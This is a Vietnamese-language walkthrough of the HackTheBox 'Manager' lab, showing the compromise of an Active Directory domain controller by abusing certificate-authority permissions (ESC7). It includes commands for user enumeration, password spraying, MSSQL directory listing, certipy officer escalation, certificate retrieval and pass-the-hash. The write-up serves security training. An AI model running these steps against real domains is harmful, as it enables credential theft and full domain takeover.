Thông tin

Trong bài viết này sẽ làm rõ về kỹ thuật leo thang thông qua Vulnerable Certificate Authority Access Control – ESC7.

Lab Manager được thiết lập máy chủ Windows trong môi trường Activate Directory với Active Directory Certificate Services (ADCS), máy chủ web và cơ sở dữ liệu SQL Server.

 

Enumeration

Thêm ip vào /etc/hosts: 10.10.11.236 manager.htb

Thực hiện scan với nmap: nmap -sC -sV -O 10.10.11.236

 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-18 04:58 EDT
Nmap scan report for manager.htb (10.10.11.236)
Host is up (0.26s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-18 15:59:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:47+00:00; +7h00m01s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-18T15:40:22
|_Not valid after:  2054-03-18T15:40:22
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-18T16:00:49+00:00; +7h00m01s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-18T16:00:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-18T16:00:08
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.85 seconds

Thông tin hữu ích tìm được:

  • Port 88: Kerberos của DC
  • Hệ thống đang chạy SMB
  • ssl-cert: Subject: commonName=dc01.manager.htb: 10.10.11.236 là DC dc01.manager.htb và domain là manager.htb
  • MSSQL port 1443

Sử dụng Kerbrute để tìm các username thực có thể đăng nhập

./kerbrute_linux_amd64 userenum -d manager.htb  ../SecLists/Usernames/xato-net-10-million-usernames.txt --dc dc01.manager.htb

Có rất nhiều tài khoản đã được phát hiện. Sử dụng crackmapexec để truy cập account xem có tài khoản dùng mật khẩu yếu không.

crackmapexec smb manager.htb -u ./lab_htb/user.txt  -p ./lab_htb/user.txt

Tìm được tài khoản operator:operator

Hệ thống có mở smb nên truy cập vào xem nhưng có vẻ không có gì

Vì hệ thống có sử dụng dịch vụ SQLServer nên dùng mssqlclient truy cập vào DB tìm kiếm thêm thông tin.

Sau khi truy cập được vào trong DB => lợi dụng hàm xp_dirtree tìm xem webroot nằm ở đâu và có manh mối nào thú vị.

EXEC xp_dirtree 'C:\\', 1, 1;

Webroot nằm tại vị trí ‘C:\inetpub\wwwroot’

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

Xuất hiện file backup down về xem sao

Unzip để xem kết quả

Tìm hiểu từng file và phát hiện được file .old-conf.xml chứa username và password của tài khoản raven

<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>cur</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

Truy cập thử vào tài khoản raven xem sao

Từ kết quả nmap, chúng ta thấy rằng dịch vụ winrm đã được kích hoạt nên có thể sử dụng evil-winrm để đăng nhập.

Sau khi đăng nhập có thể tìm được flag 1

 

Privilege Escalation

Certify là C# tool enumerateabuse misconfigurations Active Directory Certificate Services (AD CS).

Upload certify.exe vào máy raven và cố gắng scan xem có bị lỗ hổng về chứng chỉ hay không.

Cách build như sau

Upload file vào máy nạn nhân

Thực hiện scan

 

Dựa trên thông tin trong log, chúng ta có thể phân tích quyền của người dùng Raven và Operator như sau:

Người dùng Raven:

  • Có quyền:
    • Quản lý dịch vụ CA: Raven được phép quản lý dịch vụ CA.
    • Đăng ký chứng chỉ: Raven có quyền yêu cầu và đăng ký chứng chỉ từ dịch vụ CA.
  • Không có quyền:
    • Đọc dịch vụ CA: Raven không được phép đọc thông tin về dịch vụ CA.

Người dùng Operator:

  • Có quyền:
    • Đăng ký chứng chỉ: Operator có quyền yêu cầu và đăng ký chứng chỉ từ dịch vụ CA.
  • Không có quyền:
    • Đọc dịch vụ CA: Operator không được phép đọc thông tin và quản lý về dịch vụ CA.

Do đó việc sử dụng tiếp tài khoản raven để khai thác thêm vào hệ thống

Tiếp theo sử dụng tool certipy để khai thác

Trạng thái của raven được xem là Vulnerable Certificate Authority Access Control – ESC7

Cũng có thể phát hiện lỗ hổng qua

Đại khái là để khai thác cần những điều kiện sau

  • Có quyền ManageCA
  • Manage Certificates được cấp phép (có thể được cấp từ ManageCA)
  • Mẫu chứng chỉ SubCAphải được bật (thường thì mặc định đã có nhưng cũng có thể được bật từ ManageCA)

Và nếu bạn chỉ có Manage CA bạn có thể cấp cho mình quyền Manage Certificates bằng cách thêm raven làm người quản lý với cú pháp như sau:

$ certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

CA được sử dụng là manager-DC01-CA

Thực hiện thêm quyền Manage Certificates cho raven

Do đó raven tự động có quyền Manage Certificates

 

Dòng trích dẫn này chỉ ra rằng mẫu chứng chỉ “SubCA” được mặc định kích hoạt những cũng có thể được kích hoạt bằng cách sử dụng tham số -enable-template.

Thực hiện yêu cầu chứng chỉ mẫu SubCA mặc dù bị từ chối do không đủ quyền nhưng vẫn có khoá riêng và id request được lưu lại. Chú ý lưu key vào thư mục có quyền ghi.

Các request về SubCA sẽ được xuất hiện tại Failed Request ví dụ: Tôi đã gửi 1 yêu cầu SubCA tới lab local của tôi với id là 6 và nó xuất hiện tại certsrv như dưới

Vì tôi đang có quyền Manage Certificates nên sẽ thực hiện được hành động Issue Certificates

Sau khi Issue thì chứng chỉ đã được chấp nhận và có thể lấy thông tin từ chứng chỉ đó.

 

Do đó với bài lab này vì Raven có quyền Manage Certificates nên anh ấy cũng có thể issue request của mình và lấy được thông tin qua tham số id request trước đó.

Thực hiện truy xuất chứng chỉ đã cấp bằng -retrieve

Chứng chỉ và private key được lưu tại file administrator.pfx

File này được sử dụng để tấn công Pass the Certificate

Giao thức xác thực Kerberos hoạt động với các vé để cấp quyền truy cập. Bạn có thể nhận được ST bằng cách xuất trình TGT. Việc có thể được xác thực một cách đối xứng (bằng khóa DES, RC4, AES128 hoặc AES256) hoặc không đối xứng (sử dụng chứng chỉ). Cách xác thực không đối xứng được gọi là PKINIT.

PKINIT, thay vì sử dụng mật khẩu, người dùng có thể sử dụng chứng chỉ và khóa riêng tư của mình để xác thực với máy chủ Kerberos.

Cặp “chứng chỉ + khóa riêng” thường được sử dụng theo cách sau

  • Chứng chỉ PEM + khóa riêng PEM
  • Chứng chỉ PFX (chứa khóa riêng) + mật khẩu PFX

Do đó việc sử dụng administrator.pfx dùng để lấy TGT và thông tin xác thực

 

Lỗi “KRB_AP_ERR_SKEW” là một trong những lỗi phổ biến trong giao thức xác thực Kerberos của Microsoft. Lỗi xuất hiện khi có sự chênh lệch quá lớn về thời gian giữa máy chủ Kerberos và máy khách (client). Cụ thể, “KRB_AP_ERR_SKEW” (Clock skew too great) chỉ ra rằng sự chênh lệch thời gian giữa hai thiết bị là quá lớn, vượt quá ngưỡng cho phép trong quá trình xác thực.

Để đồng bộ hóa thời gian: Sử dụng lệnh ntpdate để đồng bộ hóa thời gian giữa máy chủ Kerberos và máy khách. Lệnh này sẽ thực hiện một cuộc gọi đến máy chủ NTP (Network Time Protocol) để cập nhật thời gian hệ thống

Tiếp tục thực hiện câu lệnh và lấy được NT hash của administrator

Sau đó sử dụng Evil-Winrm để thực hiện Pass the Hash Attack

Việc nâng quyền đã thực hiện thành công => lấy được flag của root.

 

Tổng kết

Vulnerable Certificate Authority Access Control – ESC7 mới chỉ là một phần trong các lỗ hổng về chứng chỉ. Việc thực hiện các lỗ hổng liên quan tới chứng chỉ và dịch vụ ADCS còn có nhiều vấn đề và kiến thức liên quan khác.

Tham khảo:

148 lượt xem